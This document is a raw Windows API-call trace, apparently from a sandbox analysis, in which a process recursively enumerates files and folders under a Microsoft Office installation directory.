	[0253.989] FindNextFileW (in: hFindFile=0x41b2650, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.989] FindNextFileW (in: hFindFile=0x41b2650, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1
	[0253.989] FindClose (in: hFindFile=0x41b2650 | out: hFindFile=0x41b2650) returned 1
	[0253.989] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42b9c98 | out: hHeap=0x4a0000) returned 1
	[0253.989] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1
	[0253.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2650
	[0253.990] FindNextFileW (in: hFindFile=0x41b2650, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.990] FindNextFileW (in: hFindFile=0x41b2650, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1
	[0253.990] FindClose (in: hFindFile=0x41b2650 | out: hFindFile=0x41b2650) returned 1
	[0253.990] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42b9c98 | out: hHeap=0x4a0000) returned 1
	[0253.990] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0
	[0253.990] FindClose (in: hFindFile=0x41b2610 | out: hFindFile=0x41b2610) returned 1
	[0253.990] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42a9c90 | out: hHeap=0x4a0000) returned 1
	[0253.990] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0253.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0254.024] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0254.024] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1
	[0254.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2610
	[0254.079] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0254.079] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1
	[0254.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x324e6a4 | out: lpFindFileData=0x324e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b26d0
	[0254.795] FindNextFileW (in: hFindFile=0x41b26d0, lpFindFileData=0x324e6a4 | out: lpFindFileData=0x324e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0254.795] FindNextFileW (in: hFindFile=0x41b26d0, lpFindFileData=0x324e6a4 | out: lpFindFileData=0x324e6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1
	[0256.302] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0256.302] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0256.303] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0256.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0256.317] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.317] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1
	[0256.318] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0256.318] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0256.318] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1
	[0256.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0256.320] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.320] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1
	[0256.320] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0256.320] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0256.320] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0256.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0256.323] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.323] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0256.323] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0256.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0256.323] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0256.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0256.326] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.326] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0256.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0256.328] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.329] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1
	[0257.288] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.288] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.483] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0257.484] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.484] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.484] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15c02e00, ftCreationTime.dwHighDateTime=0x1d4e987, ftLastAccessTime.dwLowDateTime=0x10ec6550, ftLastAccessTime.dwHighDateTime=0x1d4f43c, ftLastWriteTime.dwLowDateTime=0x10ec6550, ftLastWriteTime.dwHighDateTime=0x1d4f43c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="once.exe", cAlternateFileName="")) returned 1
	[0257.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.592] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.592] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.594] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
